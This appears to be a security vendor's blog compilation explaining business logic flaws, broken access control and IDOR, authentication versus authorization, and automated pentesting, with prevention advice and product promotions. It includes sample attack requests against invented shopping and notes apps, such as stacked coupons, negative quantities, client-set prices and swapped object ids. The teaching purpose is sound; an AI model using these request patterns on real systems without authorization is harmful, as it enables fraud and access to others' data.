    A business logic vulnerability is a flaw in the rules an application follows, not in its code syntax. The request looks valid. Every field is the right type, the session is authenticated, and the server returns a clean 200 OK. The problem is that the request quietly breaks an assumption the app made about how people would use it. Because nothing looks malformed, a scanner waves it through, and that is what makes this class of bug so easy to miss.

    What a business logic vulnerability actually is

    Most security tools hunt for known bad input. They send a quote mark to look for SQL injection, or a script tag to look for cross site scripting. Those payloads are wrong on their face, so they are easy to detect and easy to block. A business logic vulnerability uses input that is completely legal. The attacker does not send garbage. They send a number, a coupon code, or a sequence of normal requests in an order the developer never expected.

    Think of it this way. The developer wrote code to answer the question “is this input valid?” They forgot to answer a second question: “does this valid input still make sense for what the user is allowed to do?” The gap between those two questions is where these bugs live.

    The request is valid. The assumption behind it is not. That gap is the whole bug.

    Four invented examples of a business logic vulnerability

    Here are four flaws in a made up shopping app we will call Acme Cart. None of these involve a special payload. Each one is a normal request that the server should have refused.

    1. Applying a discount code twice

    Acme Cart lets a shopper enter the code SAVE20 at checkout for twenty percent off. The intent is one use per order. But the apply endpoint never records that a code was already used on this cart. So the attacker just sends the same request again.

    POST /cart/apply-coupon
    { "cart_id": "8841", "code": "SAVE20" }
    
    POST /cart/apply-coupon
    { "cart_id": "8841", "code": "SAVE20" }

    Each call stacks another twenty percent off. Send it five times and the total drops to almost nothing. The input is a real coupon code every single time. A scanner sees two identical, well formed requests and finds nothing to flag.

    2. A negative quantity that pays you back

    The cart accepts a quantity field. The developer assumed quantity would be one or more. The validation checks that the value is a number, but not that it is positive.

    POST /cart/add-item
    { "sku": "MUG-01", "quantity": -3 }

    Now the order total goes down by the price of three mugs. If the checkout flow refunds or credits the negative line, the attacker buys a real item, attaches a negative line item, and walks away owing less than zero. The number -3 is a valid integer. The assumption that quantities are positive lived only in the developer’s head.

    3. Skipping a step in checkout

    Acme Cart has a three step checkout: cart, then payment, then confirm. The payment step is where the card is charged. The confirm step creates the order. But the confirm endpoint trusts that payment already happened, because in the normal flow it always does.

    POST /checkout/confirm
    { "cart_id": "8841" }

    An attacker who calls /checkout/confirm directly, without ever hitting the payment step, gets a confirmed order and never pays. The request is shaped exactly like a real one. The flaw is the missing check that the payment state for this cart is actually complete.

    4. Changing a price field the client should never set

    The add to cart request includes the product price so the front end can show a running total. The server reads that price straight from the request body instead of looking it up from its own catalog.

    POST /cart/add-item
    { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 }

    The laptop now costs one dollar. The attacker did not break encryption or guess a password. They edited a field the server should have ignored and recalculated on its own.

    Why automated tools miss a business logic vulnerability

    A scanner works from a list. It knows what an injection string looks like, what a directory traversal looks like, what a default password looks like. It compares responses against those patterns. None of the four examples above match any pattern, because the input is data the app was built to accept.

    To catch these, a tool would need to know things that live nowhere in the code in a checkable form:

    • A coupon is meant to apply once per order.
    • A quantity is meant to be positive.
    • Payment must finish before an order is confirmed.
    • Price is decided by the server, never the client.

    These are facts about intent. They are the assumptions the application makes about how its own features should behave. A pattern matcher does not understand intent, so it cannot tell that a clean 200 OK hid a free laptop. You have to first learn how the feature is supposed to work, then ask what happens if a user refuses to play along. That is research, not scanning. Our writeups in attack teardowns walk through this kind of reasoning on invented apps.

    How to find and prevent these bugs

    The starting point is to write down the assumptions, because a rule you never wrote down is a rule you never enforced. For each feature, ask what the app silently expects, then test the opposite.

    • List the invariants. One coupon per order. Quantity above zero. Payment before confirmation. Price from the catalog. Each one is a check the server must make on every request, not a hope about client behavior.
    • Never trust the client for anything that affects money or access. Recompute prices, totals, and permissions on the server from trusted data.
    • Enforce state, do not assume it. The confirm step should verify that this cart reached a paid state, rather than trusting the order of requests.
    • Replay and reorder requests on purpose. Send the same action twice. Skip a step. Send a negative or a zero. Edit a field the UI never lets you touch. If the response stays clean when it should not, you found one.
    • Turn a confirmed finding into a standing check. Once you prove that quantity: -3 lowers a total, add a test that fails if it ever works again.

    The work is mostly about understanding the app and then questioning each thing it takes for granted. A clever input is rarely the hard part. Seeing the unstated rule is.

    The takeaway

    A business logic vulnerability is what is left after the obvious bugs are patched. The payload is legal, the response is clean, and the damage is real. Finding these means understanding what the app is meant to do and then testing each assumption underneath that, one at a time. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, and you can read more about how we approach that on our about page.

    Frequently asked questions

    What is a business logic vulnerability?

    It is a flaw in the rules an application follows, not in its code syntax. The request looks valid, every field is the right type, the session is authenticated, and the server returns a clean 200 OK, but the request quietly breaks an assumption the app made about how people would use it. The gap between “is this input valid” and “does this valid input still make sense” is where these bugs live.

    Why do scanners miss business logic vulnerabilities?

    Because the input is completely legal, so there is no bad pattern to match. A scanner works from a list of known bad strings like injection payloads or directory traversal, but a coupon code sent twice or a quantity of negative three is data the app was built to accept. Catching these needs knowledge of intent, such as a coupon applying once per order, which lives nowhere in the code in a checkable form. See the OWASP business logic testing guide.

    What is an example of a business logic flaw in a shopping cart?

    A common one is a price field the client should never set. If the add to cart request includes the product price and the server reads it straight from the request body instead of looking it up from its own catalog, an attacker can send { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 } and buy a laptop for one dollar. Others include applying a discount code twice, sending a negative quantity, and skipping the payment step before confirming an order.

    How do I prevent business logic vulnerabilities?

    Start by writing down the assumptions each feature makes, because a rule you never wrote down is a rule you never enforced. List the invariants like one coupon per order or quantity above zero, never trust the client for anything that affects money or access, and enforce state instead of assuming it. Then replay and reorder requests on purpose to test the opposite of each assumption, and turn any confirmed finding into a standing check.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is an access control vulnerability? Broken access control explained

    What is an access control vulnerability? Broken access control explained

    An access control vulnerability happens when an application lets a user do something the app never meant to allow. Broken access control is the name for this whole family of bugs, and it sits at the top of the OWASP Top 10 because it shows up everywhere and the damage is direct. If you have ever wondered what is access control vulnerability in plain terms, it is this: the server forgot to check whether you are allowed before it did what you asked.

    What is broken access control vulnerability, in one sentence

    Access control is the set of rules that decide who can see and change what. Authentication answers “who are you.” Access control answers “are you allowed to do this specific thing right now.” When that second check is missing, weak, or only enforced in the browser, you get a broken access control flaw. The user proves who they are, then reaches data or actions that should be off limits to them.

    Here is the part that surprises beginners. The login can be perfect. Passwords can be strong, sessions can be secure, and the bug still exists. Access control is a separate gate, and it has to be checked on every request that touches protected data.

    Why broken access control is the number one OWASP risk

    Three reasons put it first.

    • It is common. Almost every app has many endpoints, and each one needs its own check. Miss one and you have a hole.
    • It is easy to trigger. Many of these bugs need nothing more than a changed number in a URL or a flipped value in a request body. No special tools.
    • The impact is plain. Read another person’s records, delete data you do not own, or reach an admin function. There is no fancy exploit chain in between.

    If the server does not ask “is this user allowed to do this” on every request, the answer is no by accident.

    Three simple examples

    These use an invented app, Acme Notes, where people store private notes. None of this targets a real system.

    1. Changing an id in a URL. You open your own note and the address looks like this.

    GET /notes/1024
    Cookie: session=your_own_valid_session

    You change the number to a note that is not yours.

    GET /notes/1025

    If Acme Notes returns note 1025 without checking that it belongs to you, that is a broken object level access control bug. People often call this an insecure direct object reference, or IDOR. The id is a direct pointer to an object, and nothing stops you from pointing at someone else’s.

    2. Forcing your way to an admin page. The app hides the admin link from normal users, so the menu never shows it. But the route still exists.

    GET /admin/users

    You type the path by hand. If the server renders the admin user list because you happen to be logged in as anyone, the protection was only in the menu, not in the code that serves the page.

    3. Editing a request to act as another user. When you update your profile, the browser sends a body like this.

    POST /profile/update
    { "user_id": 1024, "email": "you@example.com" }

    You change user_id to someone else.

    POST /profile/update
    { "user_id": 1025, "email": "attacker@example.com" }

    If the server trusts the user_id in the body instead of the user tied to your session, you just changed a stranger’s email. The fix is to ignore that field entirely and use the identity from the session.

    Horizontal and vertical access control

    Two words help you reason about these bugs.

    Horizontal access control

    This is about users at the same level. You and another customer both have normal accounts. Horizontal access control keeps you inside your own data. The note id example above is a horizontal failure: one regular user reached another regular user’s note. The roles match, but the owner does not.

    Vertical access control

    This is about levels of power. A normal user should not reach actions reserved for an admin or a moderator. The admin page example is a vertical failure: a low privilege user reached a high privilege function. You climbed a level you were never granted.

    Many real bugs are one or the other. Some are both at once, like a regular user who can both read other people’s data and trigger admin only actions through the same weak endpoint.

    How to spot broken access control

    You find these bugs by asking, for every request, “what is being trusted here, and who set it.” Walk through the app with two accounts and try the obvious moves.

    • Change identifiers. Swap ids in URLs, query strings, and request bodies. Try ids that belong to a second account you control. Watch for data that is not yours.
    • Visit hidden routes directly. List the admin and settings paths you can find, then request them as a low privilege user. A redirect or a 403 is good. A real response is a finding.
    • Replay actions across roles. Capture a request that only an admin should make, then send it from a normal session. If it works, vertical control is broken.
    • Look for client side gates. If a button is hidden but the underlying API still answers, the check lives in the wrong place.
    • Test every method. An endpoint might block GET but allow DELETE or PUT. Try them.

    The mindset that finds the most is understanding what the app assumes. The note example only works because the app assumes you will never edit the id. Question that assumption and the bug appears. You can read more grouped writing on this topic in the access control category.

    How to prevent broken access control

    The core rule is short. Check authorization on the server, for every request, against the identity in the session, not against anything the client sent.

    • Deny by default. Start with everything closed. Open access on purpose, per route, never by forgetting to block it.
    • Decide on the server. The browser can hide a button to keep the screen clean, but it can never be the gate. The real check lives in code the user cannot touch.
    • Tie ownership to the session. When loading note 1025, confirm the note’s owner matches the logged in user. Do not trust a user_id from the request body.
    • Centralize the rules. One shared function that answers “can this user do this action on this object” is easier to get right than checks copied into every handler.
    • Avoid guessable ids where you can. Random identifiers are not a real defense on their own, but they raise the cost of blind guessing while your checks do the work.
    • Test it like a feature. Write checks that try one user’s id from another user’s session and confirm they fail. Run them on every change so the gap cannot return quietly.

    Putting it together

    Broken access control is the number one OWASP risk because the bug is simple, common, and high impact, and each new endpoint is one more place to forget the check. Spotting it means thinking about what the app trusts. Preventing it means checking authorization on the server for every request, using the identity you control rather than the data the user sent.

    This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, because it lives in the gap between how an app is meant to work and what it actually allows. Learn more on the about page.

    Frequently asked questions

    What is an access control vulnerability?

    It happens when an application lets a user do something the app never meant to allow, because the server failed to check whether the user was permitted before acting on the request. The login can be perfect and the bug still exists, since access control is a separate gate that must be checked on every request that touches protected data. Broken access control sits at the top of the OWASP Top 10.

    What is the difference between horizontal and vertical access control?

    Horizontal access control keeps users at the same level inside their own data, so a regular user reaching another regular user’s record is a horizontal failure. Vertical access control separates levels of power, so a normal user reaching an admin only function is a vertical failure. Some bugs are both at once, like a weak endpoint that lets a regular user read other people’s data and trigger admin actions.

    Is IDOR the same as broken access control?

    IDOR, or insecure direct object reference, is one common shape of broken access control, not a separate thing. It happens when an id in a URL or request body is a direct pointer to an object and nothing stops a user from pointing at someone else’s. For example, changing /notes/1024 to /notes/1025 and getting back a note that is not yours is a broken object level access control bug.

    How do I prevent broken access control?

    Check authorization on the server, for every request, against the identity in the session, not against anything the client sent. Deny by default and open access on purpose per route, tie ownership to the session rather than trusting a user_id from the request body, and centralize the rules in one shared function. Then test it like a feature so a missing check cannot return quietly.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Authentication vs authorization, explained with examples

    Authentication vs authorization, explained with examples

    People mix these two words all the time, and the mix up causes real bugs. The difference between authentication vs authorization is simple once you see it: authentication proves who you are, and authorization decides what you are allowed to do. This post walks through both with a concrete login example, then shows how confusing them leads to broken access control.

    Authentication vs authorization in one sentence each

    Authentication answers the question “who are you?” You prove your identity, usually with a password, a passkey, or a one time code. When the app is satisfied, it knows it is talking to a specific user.

    Authorization answers a different question: “are you allowed to do this?” Once the app knows who you are, it checks whether that identity may read a record, edit a setting, or delete an account. Same user, different question.

    Authentication is the bouncer checking your ID at the door. Authorization is the staff checking whether your ticket lets you into the VIP room.

    A login is authentication

    You type an email and password into a SaaS app called Acme Notes. The server checks the password hash, sees it matches, and starts a session. That whole exchange is authentication. At the end of it the app is confident you are alice@example.com and nobody else. Nothing here has decided what Alice can touch yet. If that session travels as a JSON Web Token, you can decode it and check its algorithm, claims, and expiry with our free JWT security inspector.

    Opening a record is authorization

    Alice is now logged in. She clicks an invoice and the browser requests /invoice/123. The server has to answer a separate question before it returns anything: does invoice 123 belong to Alice? That check is authorization. If invoice 123 belongs to Bob, the correct answer is no, even though Alice is a fully authenticated, real user.

    The example that shows the gap

    Here is the request Alice’s browser sends after she logs in:

    GET /invoice/123 HTTP/1.1
    Host: app.acmenotes.example
    Cookie: session=alicevalidsessiontoken

    The session cookie is valid. Authentication passes. The dangerous question is what the server does next. A correct server loads invoice 123, checks the owner field against the session user, and returns the invoice only if they match. A broken server skips that check and returns the invoice to anyone who is logged in.

    Now Alice edits the URL by hand and asks for /invoice/124, then /invoice/125, walking the numbers up one at a time:

    GET /invoice/124 HTTP/1.1
    Host: app.acmenotes.example
    Cookie: session=alicevalidsessiontoken

    If the server returns Bob’s invoice because Alice’s session is valid, the app has confused authentication with authorization. Alice proved who she is. The app never checked what she is allowed to see. This is the most common shape of broken access control, often called an insecure direct object reference, or IDOR.

    Why the confusion is so easy to ship

    Login code gets careful attention. Teams test it, rate limit it, and add multi factor. So authentication tends to be solid. Authorization is spread across every endpoint that returns or changes data, and it is invisible when you test with a single account, because that account owns everything it can reach. The bug only appears when a second user asks for the first user’s data. Many test suites never try that, so the gap survives to production.

    Authentication vs authorization, side by side

    • Question asked. Authentication: who are you? Authorization: what may you do?
    • When it runs. Authentication runs once at login or per token. Authorization runs on every protected action.
    • What proves it. Authentication uses passwords, passkeys, or codes. Authorization uses ownership rules, roles, and permissions.
    • Typical failure. Authentication failing lets a stranger become a user. Authorization failing lets a real user reach data that is not theirs.
    • Where it lives. Authentication sits at the front door. Authorization sits at every record, field, and button behind it.
    • Status code on denial. Authentication problems return 401 Unauthorized. Authorization problems return 403 Forbidden.

    The status codes are worth a closer look, because their names are backwards from the concepts. The 401 code is literally named “Unauthorized” but it means you are not authenticated, so log in. The 403 code means you are authenticated but not authorized for this thing. If your code uses these interchangeably, that is often the first sign the two ideas are blurred in the codebase too.

    “Authentication and authorization difference” in plain terms

    If you search for the authentication and authorization difference, you will see them paired constantly, sometimes shortened to authn and authz. They run in order. Authn first, because you cannot decide what a user may do until you know who the user is. Authz second, on every single request that touches protected data. Reverse them or skip the second step and you get the invoice bug above.

    How to spot the gap before an attacker does

    You do not need fancy tooling to start. You need two accounts and a habit of suspicion.

    • Create two real users, Alice and Bob, with separate data.
    • Log in as Alice and note an object you own, like /invoice/123.
    • Log in as Bob and request Alice’s object directly by its id.
    • If Bob sees Alice’s data, you found a broken authorization check.
    • Repeat for write actions, not just reads. A POST or DELETE to another user’s object is worse than a read.

    Then push past predictable ids. Swap a numeric id for a UUID and the manual walk gets harder, but the missing check is still missing. The fix is the same in every case: every endpoint must check that the current authenticated user is allowed to act on the specific object, on the server, on every request. Never trust the client to hide a button or skip a URL.

    The vs authorization vs authentication ordering trap

    Some teams write a global middleware that confirms a valid session, then treat every authenticated request as fully allowed. That handles authentication and stops there. Authorization needs object level and field level rules that the middleware cannot know. A user may be allowed to read their own profile but not change their own role to admin. Same identity, different permissions, decided per action.

    If you only remember one thing about authentication vs authorization, make it this: proving who you are is not the same as being allowed, and the gap between them is where access control breaks. For more on this class of bug, see our access control articles. Tracking down a missing ownership check across hundreds of endpoints is exactly the kind of bug an autonomous researcher that tests an app’s assumptions is built to find. You can read how we approach that on our about page.

    Frequently asked questions

    What is the difference between authentication and authorization?

    Authentication proves who you are, and authorization decides what you are allowed to do. Authentication runs once at login or per token using passwords, passkeys, or codes, while authorization runs on every protected action using ownership rules, roles, and permissions. You cannot decide what a user may do until you know who the user is, so authentication comes first.

    Does a 401 status code mean authentication or authorization failed?

    A 401 means authentication failed, even though it is literally named “Unauthorized,” so it really means you are not logged in yet. A 403 Forbidden means you are authenticated but not allowed to do this specific thing. The names read backwards from the concepts, so code that uses them interchangeably is often a sign the two ideas are blurred in the codebase.

    How do I test for a broken authorization check?

    Create two real users with separate data, log in as the first and note an object you own like /invoice/123, then log in as the second user and request that object directly by its id. If the second user sees the first user’s data, you found a broken authorization check, also called an insecure direct object reference. Repeat for write actions like POST and DELETE, not just reads. See OWASP Broken Access Control for more.

    Why is a valid session not enough to allow a request?

    A valid session only proves authentication, which answers who you are, but it never answers whether you may act on a specific object. A global middleware that confirms a session and then treats every request as allowed handles authentication and stops there. Authorization needs object level and field level rules, so a user may read their own profile but must not change their own role to admin.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is automated penetration testing?

    What is automated penetration testing?

    If you run a web app or an API, you have probably heard the phrase tossed around in security pitches. So what is automated penetration testing, and how is it different from the vulnerability scanner you may already run? In short, it is software that pokes at your application the way an attacker would, then tries to confirm what it finds, instead of a person doing every step by hand.

    This guide is for people who are new to the topic. We will define the term, compare it to a manual pentest and to a plain scanner, and be clear about what each tool is good at and where it falls short.

    What is automated penetration testing, in plain terms

    A penetration test, or pentest, is an authorized attempt to break into a system so you can fix the holes before a real attacker finds them. A human tester explores the app, forms a theory about what might break, and tries to exploit it. Automated penetration testing hands much of that loop to software. The tool maps the application, picks targets, sends crafted requests, and reports what got through.

    The word that matters here is exploit. A good automated pentest does not just say “this parameter looks risky.” It tries to actually use the weakness and shows you the result.

    The difference that counts is proof. A flag says maybe. A working exploit says yes, and here is the evidence.

    How it differs from a manual pentest

    A manual pentest is run by a person, often over one or two weeks, against a defined scope. Humans are good at understanding what an app is for. They read the screen, guess at business rules, and chase odd behavior that no rulebook predicted.

    Automation trades some of that judgment for speed and repeatability. Here is the honest trade:

    • Speed. Software can test thousands of requests in the time a person tests a handful.
    • Repeatability. You can run the same checks every night and on every deploy, not once a year.
    • Coverage of known classes. It is steady at the well understood bugs, like reflected injection or a missing access check on a predictable URL.
    • Weaker on context. It struggles with rules that only a human reading the app would know, such as “a trial account must never export the full customer list.”

    The two are not rivals. Many teams run automation often and bring in human testers for deep, scoped work on the parts that matter most.

    How it differs from a plain vulnerability scanner

    This is the comparison most people get wrong, so it is worth slowing down. A vulnerability scanner checks for known issues and reports anything that matches a signature. It might flag an out of date library, an open port, or a parameter that reflects input back to the page. That is useful, but a scanner usually stops at “this looks suspicious.”

    An automated pentest goes one step further and tries to prove the issue is real. Take a classic example. A scanner sees this request and notices the id value is reflected in the response:

    GET /api/invoices?id=1042
    Authorization: Bearer trial-user-token

    The scanner says: possible insecure direct object reference, please review. An automated pentest treats that as a theory to test. It changes the value and watches what comes back:

    GET /api/invoices?id=1043
    Authorization: Bearer trial-user-token
    
    HTTP/1.1 200 OK
    { "id": 1043, "customer": "Acme Notes", "total": 8800, "card_last4": "4242" }

    Now there is evidence. The trial user just read another customer’s invoice. That is no longer a maybe. It is a confirmed access control bug with a request you can replay. If the deeper reading on this distinction is what you are after, the scanners vs research category goes through it in more detail.

    Flagging versus verifying

    Hold this difference in your head, because it shapes everything else:

    • A scanner flags. It hands you a list of candidates ranked by severity, and a human has to check each one.
    • An automated pentest verifies. It tries the attack and keeps only the findings it could actually reproduce.

    The most useful tools sit on the verifying side. A short list of proven bugs is worth more than a long list of maybes, because every false alarm costs someone an hour of triage.

    What automated penetration testing is good at

    Used well, it earns its place. It is strong at:

    • Breadth. Checking every endpoint, every parameter, on a schedule a human could not keep.
    • Regression. A confirmed bug can become a repeatable check that watches for the same hole reappearing after a future deploy.
    • Fast feedback. Running on each release means a new flaw gets caught in days, not at the next annual review.

    Where it falls short

    Honesty matters more than the sales pitch, so here are the real limits.

    Logic bugs

    The bugs that hurt most often live in business logic, and those are the hardest to automate. Consider a checkout flow that applies a discount code. A tool that only sends known payloads will not think to apply the same code twice, or to set the quantity to a negative number so the total drops below zero. Those attacks come from understanding what the app is trying to do, then asking what happens if you bend a rule. A fixed payload list does not reason that way.

    Context and intent

    Software does not know your business rules unless someone teaches it. It cannot tell that a field labeled role should never be editable by the customer, or that an internal admin route was left exposed by accident. Without that context, it tests the requests it can see and misses the ones that only make sense once you understand the product.

    False positives and noise

    Tools that flag without verifying drown teams in noise. After enough false alarms, people stop reading the report, and a real finding gets lost in the pile. This is exactly why the verifying approach matters: proof cuts the noise.

    What good looks like

    If you are choosing a tool, look past the feature list and ask one question: does it prove its findings? The better systems do not just match patterns. They learn how the app is meant to work, form an idea about where that logic could break, design a test, and then confirm the result with concrete evidence before they bother you. Understand, assume, experiment, verify.

    The highest impact bugs come from understanding the app, not from matching a known string. That is the bar worth holding any tool to.

    Closing

    So, to answer the question plainly: automated penetration testing is software that attacks your app like an attacker would and, in its best form, proves what it finds rather than just listing suspects. It is fast and tireless on known issues, and weaker on logic and context, which is where a human or a smarter system earns its keep. This is the gap UnboundCompute is built to close, an autonomous researcher that tests the assumptions your app makes and proves a finding with hard evidence before reporting it. You can read more on the about page.

    Frequently asked questions

    Is automated penetration testing the same as a vulnerability scan?

    No. A vulnerability scanner flags anything that matches a known signature and usually stops at “this looks suspicious,” while automated penetration testing goes further and tries to actually exploit the weakness, then keeps only the findings it could reproduce. The difference is proof: a scanner hands you candidates to triage, an automated pentest hands you confirmed bugs with a request you can replay.

    Can automated penetration testing replace a human pentester?

    Not for everything. Automation wins on speed, breadth, and repeatability, so it is well suited to checking every endpoint on a schedule and catching well understood bugs like reflected injection or a missing access check on a predictable URL. It is weaker on business logic and context, which is why many teams run automation often and still bring in human testers for deep, scoped work.

    Why does automated penetration testing miss business logic bugs?

    Because logic bugs use input that is completely legal, so there is no signature to match. A tool that only sends known payloads will not think to apply a coupon twice or set a quantity to a negative number, since those attacks come from understanding what the app is trying to do rather than from a fixed payload list. You can read more on the OWASP Web Security Testing Guide.

    What should I look for when choosing an automated pentest tool?

    Ask one question: does it prove its findings? The stronger tools do not just match patterns, they learn how the app is meant to work, form an idea about where the logic could break, design a test, and confirm the result with concrete evidence before reporting it. A short list of proven bugs is worth more than a long list of maybes, because every false alarm costs someone time to triage.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.